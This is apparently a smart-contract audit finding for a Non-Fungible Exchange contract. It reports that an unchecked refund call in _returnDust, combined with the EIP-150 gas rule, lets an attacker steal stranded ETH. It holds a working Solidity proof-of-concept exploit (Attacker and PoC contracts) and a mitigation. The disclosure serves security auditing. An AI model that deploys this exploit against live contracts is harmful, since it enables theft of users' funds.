[Lines of code](https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L168)

# Vulnerability details

## Description

There are execute and bulkExecute functions in Exchange smart contract. There is the refund of any ETH that was unused (for example that was left due to the unsuccessful order execution) at the end of its execution flow:

_returnDust();

_returnDust function is the following:

function _returnDust() private {
uint256 _remainingETH = remainingETH;
assembly {
if gt(_remainingETH, 0) {
let callStatus := call(
gas(),
caller(),
selfbalance(),
0,
0,
0,
0
)
}
}
}

Please, note the call result callStatus is not enforced to be true.

Let’s remember the [EIP-150]() 63/64 rule. The 63/64 rule says that call opcode can consume at most 63/64 gas of parent call, in other words, the child call can consume “all but one 64th” of the gas, and parent calls will have at least 1/64 of gas to continue the execution.

So, _returnDust can make a call with gas that is not enough to successfully end the execution of the transfer, but the parent call will still have some gas and can successfully end the execution. As result, the remaining ETH will not be refunded but the execution will succeed.

After that, the attacker can withdraw the remaining ETH by calling execute or bulkExecute function with any valid input (the attacker will receive the remaining ETH in the same way that the honest user (actually he is the attacker’s target) expected to receive it).

### Attack scenario

A honest user calls bulkExecute function with a nonzero ETH value.

Some of the orders fail and a situation described in Description section of this document happens (“according to EIP-150 rule ETH that should be refunded to the user will remain on the exchange contract but the execution of the overall call will succeed”). That can happen if the attacker (for example using MEV logic) front-runs such a transaction and changes the state in an appropriate way (changes some storage slots/executes some orders by himself/makes some of the orders available/etc.). Also, it is possible if the user is represented by a smart contract and the call of a fallback function fails due to its internal logic.

In the next transaction, the attacker calls the bulkExecute function with empty input array executions and some nonzero input value (for example 1 wei) and receives funds that correspond to the honest user, according to the logic of the _returnDust function.

## Impact

Theft of ETH that was not used for successful execution of orders in non-atomic execution, with the possibility of forcing a honest user to this scenario.

Please note that eth_estimateGas from web3 json-rpc API will return gas which isn’t enough to finish the returning funds to the transaction sender if it is possible. Because of that, many users who use this standard method will suffer from loss of funds.

## PoC

// SPDX-License-Identifier: MIT OR Apache-2.0

pragma solidity =0.8.17;

import “https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol”;

contract CustomProxy
{
bytes32 internal constant IMPLEMENTATION_SLOT = keccak256(“PoC.CustomProxy.c0dec0de”);

constructor (address _implementation) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly{
sstore(slot, _implementation)
}
}

fallback() external payable {
bytes32 slot = IMPLEMENTATION_SLOT;
address implementation;
assembly{
implementation := sload(slot)
}
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())

// Call the implementation.
// out and outsize are 0 because we don’t know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)

// Copy the returned data.
returndatacopy(0, 0, returndatasize())

switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
}

contract Attacker
{
constructor() payable {
require(msg.value == 1 ether);
}

function stealFunds(Exchange exchange) external {
Execution[] memory executions = new Execution[](0);
// Nonzero value to pass the gt(_remainingETH, 0) check in _returnDust function
exchange.bulkExecute{value: 1 ether}(
executions
);
}

fallback() external payable {}
}

contract PoC
{
Attacker attacker;
Exchange exchange;

constructor() payable {
require(msg.value == 2 ether);

// The reason why the attacker needs nonzero value of ETH
// is provided in the comment inside of stealFunds function
attacker = new Attacker{value: 1 ether}();

address implementation = address(new Exchange());
address proxyAddress = address(new CustomProxy(implementation));
exchange = Exchange(proxyAddress);
exchange.initialize(
IExecutionDelegate(address(0)),
IPolicyManager(address(0)),
address(0),
0
);
exchange.open();
}

function hackInternal() external {
// To be used as an internal function with custom gas amount
require(msg.sender == address(this));

Execution[] memory executions = new Execution[](0);
exchange.bulkExecute{value: 1 ether}(
executions
);
}

fallback() external payable {
// Burns ~200k gas on receive
// This is done for the easier description of the attack
uint256 gasToBurn = 200000;

uint256 g = gasleft();
while (g – gasleft() < gasToBurn) {

}
}

// Represents a successful refund and an unsuccessful one
// After the call 1 ether will stuck on exchange
function hackStart() external {
require(gasleft() >= 590000);

{
require(address(exchange).balance == 0 ether);
require(address(this).balance == 1 ether);
this.hackInternal{gas: 300000}();
// The funds was tranfered back
require(address(exchange).balance == 0 ether);
require(address(this).balance == 1 ether);
}

{
require(address(exchange).balance == 0 ether);
require(address(this).balance == 1 ether);
this.hackInternal{gas : 250000}();
// The funds was stuck on the exchange contract
require(address(exchange).balance == 1 ether);
require(address(this).balance == 0 ether);
}
}

// Should be called after hackStart to represent
// a successful theft of funds from exchange
function hackFinish() external {
require(address(exchange).balance == 1 ether);
require(address(attacker).balance == 1 ether);
attacker.stealFunds(exchange);
require(address(exchange).balance == 0 ether);
require(address(attacker).balance == 2 ether);
}
}

## Recommended Mitigation Steps

Add an additional check that the refund ETH call was succeeded:

function _returnDust() private {
uint256 _remainingETH = remainingETH;
assembly {
if gt(_remainingETH, 0) {
let callStatus := call(
gas(),
caller(),
selfbalance(),
0,
0,
0,
0
)
if iszero(callStatus) {
revert(0, 0)
}
}
}
}

—

The text was updated successfully, but these errors were encountered:

All reactionsRead More